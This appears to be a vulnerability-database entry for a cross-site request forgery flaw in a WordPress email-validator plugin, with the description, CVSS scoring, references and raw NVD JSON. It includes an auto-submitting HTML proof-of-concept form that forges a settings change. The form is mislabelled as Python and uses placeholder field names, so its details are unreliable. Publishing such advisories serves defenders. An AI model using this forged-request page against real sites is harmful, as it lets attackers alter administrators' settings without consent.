CVE-2025-14853

Description

The LEAV Last Email Address Validator plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions <= 1.7.1. This is due to missing or incorrect nonce validation on the display_settings_page function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LEAV Last Email Address Validator <= 1.7.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14853 -->
<!-- This PoC demonstrates how an attacker can modify plugin settings -->
<!-- by tricking an admin into visiting this page -->

<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=leav-settings" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="leav_setting_option" value="some_setting">
      <input type="hidden" name="leav_setting_value" value="malicious_value">
      <input type="hidden" name="submit" value="Save Changes">
      <!-- Missing nonce field - this is the vulnerability -->
      <input type="submit" value="Submit">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14853
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14853
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14853/
[4] VulDB https://vuldb.com/cve/CVE-2025-14853
[5] https://plugins.trac.wordpress.org/browser/last-email-address-validator/trunk/includes/leav-settings-page.inc.php#L2183
[6] https://plugins.trac.wordpress.org/browser/last-email-address-validator/trunk/includes/leav-settings-page.inc.php#L257
[7] https://plugins.trac.wordpress.org/browser/last-email-address-validator/trunk/includes/leav-settings-page.inc.php#L66
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/93db56df-d21b-4788-84b2-7b28641b5a7a?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14853", "sourceIdentifier": "[email protected]", "published": "2026-01-16T07:15:56.063", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LEAV Last Email Address Validator plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions <= 1.7.1. This is due to missing or incorrect nonce validation on the display_settings_page function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin LEAV Last Email Address Validator para WordPress es vulnerable a la falsificación de petición en sitios cruzados en versiones <= 1.7.1. Esto se debe a la validación de nonce faltante o incorrecta en la función display_settings_page. Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/last-email-address-validator/trunk/includes/leav-settings-page.inc.php#L2183", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/last-email-address-validator/trunk/includes/leav-settings-page.inc.php#L257", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/last-email-address-validator/trunk/includes/leav-settings-page.inc.php#L66", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/93db56df-d21b-4788-84b2-7b28641b5a7a?source=cve", "source": "[email protected]"}]}}